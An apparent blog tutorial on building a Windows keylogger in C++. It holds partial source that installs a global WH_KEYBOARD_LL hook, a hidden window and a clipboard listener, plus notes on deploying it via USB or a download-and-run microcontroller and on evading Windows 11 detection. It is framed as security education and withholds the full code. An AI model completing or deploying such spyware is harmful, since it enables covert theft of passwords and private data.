Building a Simple Keylogger in C++ thumbnail

Building a Simple Keylogger in C++

⏱ approx. 11 min views 468 likes 0 LOG_DATE:2025-10-17
TOC

Overview #

In this experiment I built a small keylogger in C++ using the WinAPI.

The goal: by capturing keystrokes and clipboard contents and writing them to a log, learn how low-level input handling and the Windows API actually work.

In security work, understanding how malware operates is part of how you build defenses against it — so it's genuinely useful to implement something like this yourself and watch it run.# What is a keylogger?

A keylogger is software (or hardware) that watches keyboard input and records every key that's pressed. There are legitimate uses — debugging, user-behavior analysis — but in security contexts the term is most familiar as a class of malware: keyloggers steal passwords, credit card numbers, personal information.

Here we focus on a software keylogger, implemented using OS-provided APIs, as a way to learn how Windows behaves at a low level.

How it works #

To monitor keyboard input across the entire system on Windows, the standard mechanism is a Windows Hook. A hook lets your program intercept specific events (keyboard input, mouse activity, window creation, etc.) — when the event occurs, the OS calls a function (a "callback") that you've registered.

SetWindowsHookEx and WH_KEYBOARD_LL #

The implementation uses the WinAPI function SetWindowsHookEx. You tell it which kind of event to hook and pass it your hook procedure (the callback to invoke).

HHOOK SetWindowsHookEx(
  int       idHook,     // hook type
  HOOKPROC  lpfn,       // address of the hook procedure (callback)
  HINSTANCE hMod,       // DLL handle (NULL for our case)
  DWORD     dwThreadId  // thread ID (0 makes it a global hook)
);
  • idHook (hook type): specify WH_KEYBOARD_LL (Low-Level Keyboard Hook). This intercepts system-wide keyboard events at a low level — before they're delivered to any other process.
  • lpfn (hook procedure): a pointer to the function we're going to write — Windows calls this every time a key event happens. I named mine KeyboardProc and passed that.
  • dwThreadId (thread ID): passing 0 makes it global — every key event in the entire system, across every process.

The hook procedure (KeyboardProc) #

The function you registered with SetWindowsHookEx must have this signature. The OS calls it every time a key is pressed.

// Called when a keyboard event happens (the callback)
LRESULT CALLBACK KeyboardProc(
  int    nCode,
  WPARAM wParam,
  LPARAM lParam
)
  • nCode (instruction from the OS): if nCode < 0 we should skip our processing. If nCode >= 0 we handle the event.
  • wParam (event type): the kind of event — WM_KEYDOWN (key pressed), WM_KEYUP (key released), and so on.
  • lParam (key info): a pointer to a KBDLLHOOKSTRUCT struct, which carries the virtual key code (vkCode) of the key that was pressed.

A minimal C++ example #

The code below is a basic keylogger that prints keystrokes to the console and appends them to log.txt. Error handling is simplified for clarity.

Main logic (WinMain) #

We install the hook and then keep the program alive with a "message loop." To run in the background we use WinMain (not regular main) and don't show a console window.

#include <Windows.h>
#include <fstream>
#include <string>
#include <vector>

// Log file name
const char* LOG_FILE = "Log.txt";

// Global hook handle
HHOOK hHook = NULL;

// Windows application entry point
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    // Register a window class
    // Prefix string literals with L to make them wide strings
    const WCHAR CLASS_NAME[] = L"ClipboardMonitorClass";
    WNDCLASSW wc = {}; // Use WNDCLASSW
    wc.lpfnWndProc = ClipboardMonitorProc;
    wc.hInstance = hInstance;
    wc.lpszClassName = CLASS_NAME;
    RegisterClassW(&wc); // Use RegisterClassW

    // Create a message-only (hidden) window
    // Prefix string literals with L to make them wide strings
    HWND hWnd = CreateWindowExW( // Use CreateWindowExW
        0, CLASS_NAME, L"Clipboard Monitor", 0, 0, 0, 0, 0,
        HWND_MESSAGE, NULL, hInstance, NULL
    );

    if (hWnd == NULL) {
        return 1; // window creation failed
    }

    // Register a clipboard listener
    if (!AddClipboardFormatListener(hWnd)) {
        return 1; // listener registration failed
    }

    // Install the keyboard hook
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
    if (hHook == NULL) {
        return 1; // hook installation failed
    }

    // Run a message loop so the program doesn't exit
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    // Remove the listener
    RemoveClipboardFormatListener(hWnd);
    // Uninstall the hook
    UnhookWindowsHookEx(hHook);

    return 0;
}

Window procedure for clipboard monitoring #

When the clipboard changes, call WriteClipboardDataToFile().

LRESULT CALLBACK ClipboardMonitorProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
    switch (uMsg) {
        case WM_CLIPBOARDUPDATE:
            // Clipboard contents changed
            WriteClipboardDataToFile();
            return 0;
        case WM_DESTROY:
            PostQuitMessage(0);
            return 0;
        default:
            return DefWindowProc(hWnd, uMsg, wParam, lParam);
    }
}

Ethical notes #

This code is for educational purposes. Installing it on someone else's computer without permission and recording their keystrokes is a serious privacy violation and a crime under unauthorized-access laws — in Japan and elsewhere.

Legal and ethical considerations mean I won't post the entire source. But going through the implementation made the WinAPI's clever, low-level mechanics very tangible to me — I learned a lot.

The threat #

Most of us have used machines that aren't ours: an internet café, a public library, a corporate-issued PC, a shared family computer. If a program like this were running on any one of them, it would be a real problem.

If the program were running, every login password you typed, every search query that touches your private life, every confidential business detail you handled — all of it ends up in a log.

In an environment anyone can touch, installing this program is trivial. For example: park the binary on a server somewhere, flash a microcontroller with code that says "when plugged into a PC, download and run the program from the server," and from that point on, plugging the device into a target machine performs the download, install, and execution automatically.

You don't even have to be that elaborate — pop in a USB stick and copy the program over and you're done.

The program has no external network communication and is structurally very simple, so the chance of being flagged as a virus is low. I ran it in a controlled environment and Windows 11's latest security didn't catch it within several hours.

Defense #

This particular run wasn't detected as malware — likely because it ran for only a few hours and didn't talk to any external server. In practice, however, most antivirus products will flag programs that use SetWindowsHookEx to globally hook WH_KEYBOARD_LL (especially if they have no console window) — they detect them by signature, by behavior, or both, and either block or remove them.

Even with security software running, don't get complacent. Stay aware of the environment a machine is in, and have a clear sense of what is and isn't acceptable to run on it.

COMMENTS 0

No comments yet — be the first to leave one.

Post a comment